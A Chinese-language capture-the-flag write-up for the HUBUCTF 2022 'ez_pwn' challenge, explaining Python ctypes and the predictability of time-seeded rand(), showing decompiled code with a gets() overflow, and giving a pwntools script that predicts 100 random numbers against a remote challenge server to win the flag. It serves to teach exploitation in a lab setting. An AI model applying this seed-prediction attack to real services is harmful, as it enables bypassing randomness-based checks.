[HUBUCTF 2022 新生赛]ez_pwn


知识点:

  1. ctypes库(调用 C 语言)
    介绍:
    ctypes 是 Python 的标准库,用来调用 C 语言写的动态链接库(.so / .dll)并与 C 类型交互。
    基本用法
    加载动态库
1
2
3
from ctypes import *
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
# 也可以用 windll.LoadLibrary("xxx.dll") 在 Windows 上

cdll:调用 C 函数时按默认的 C 调用约定。
调用库里的函数

1
libc.printf(b"Hello, %d\n", 123)

直接调用,Python 会自动把 int 转换为 C int
2. rand函数

1
2
#include <stdlib.h>
int rand(void);
  • 返回值:0 ~ RAND_MAX(通常是 0~32767)之间的一个伪随机整数。
  • rand() 本身不是真随机,而是 伪随机:依赖内部的全局种子 seed
    如果不调用 srand() 初始化种子,rand() 默认相当于 srand(1),每次程序运行出来的随机序列都一样。
    伪随机序列特性
    rand() 产生的序列是确定性的,只要种子相同,序列一定相同。
    举例:
1
srand(1234); printf("%d\n", rand()); printf("%d\n", rand());

无论运行多少次,都输出一样的两个数字。


准备


64 位,保护全开

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-8Ch] BYREF
int i; // [rsp+8h] [rbp-88h]
int v6; // [rsp+Ch] [rbp-84h]
unsigned int seed[2]; // [rsp+10h] [rbp-80h]
FILE *stream; // [rsp+18h] [rbp-78h]
char v9[32]; // [rsp+20h] [rbp-70h] BYREF
char s[8]; // [rsp+40h] [rbp-50h] BYREF
__int64 v11; // [rsp+48h] [rbp-48h]
__int64 v12; // [rsp+50h] [rbp-40h]
__int64 v13; // [rsp+58h] [rbp-38h]
__int64 v14; // [rsp+60h] [rbp-30h]
__int64 v15; // [rsp+68h] [rbp-28h]
__int64 v16; // [rsp+70h] [rbp-20h]
__int64 v17; // [rsp+78h] [rbp-18h]
unsigned __int64 v18; // [rsp+88h] [rbp-8h]

v18 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
*(_QWORD *)seed = time(0LL);
*(_QWORD *)s = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
puts("Who goes there?");
gets(v9);
printf("Welcome to my challenge, %s. No one has ever succeeded before. Will you be the first?\n", v9);
srand(seed[0]);
for ( i = 0; i <= 99; ++i )
{
v6 = rand() % 100000 + 1;
puts("I am thinking of a number from 1-100000. What is it?");
__isoc99_scanf("%d", &v4);
if ( v6 != v4 )
{
puts("You have failed. Goodbye.");
return 0;
}
puts("Impressive.");
}
puts("You've guessed all of my numbers. Here is your reward.");
stream = fopen("flag.txt", "r");
if ( stream )
{
fgets(s, 50, stream);
puts(s);
}
puts("Goodbye.");
return 0;
}

先一个输入,用 gets 函数,所以存在缓冲区溢出
下面循环 100 次,用当前时间作为种子,生成范围在 1-100000 的随机数与我们输入的数值进行比较
当所有次数的对比都一致时,会输出 flag

思路:

这题有栈溢出,但保护全开,很难利用,而涉及到的随机数,我们可以利用 rand 的伪随机序列特性,直接构造同样的随机数,发送后获得 shell

1
2
3
4
5
6
libc=cdll.LoadLibrary('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')

io.sendlineafter(b'Who goes there?',b'aaa')
libc.srand(libc.time(0))
for i in range(100):
io.sendlineafter(b'What is it?', str((libc.rand() % 100000) + 1))

因为用这个脚本结果直接出了,所以没过多考虑远程连接的延迟干扰

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from ctypes import *
context(os='linux',log_level = 'debug',arch='amd64')
io=remote('node5.anna.nssctf.cn',21640)
# io=process('/home/motaly/pwn')
libc=cdll.LoadLibrary('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')

io.sendlineafter(b'Who goes there?',b'aaa')
libc.srand(libc.time(0))
for i in range(100):
io.sendlineafter(b'What is it?', str((libc.rand() % 100000) + 1))

io.interactive()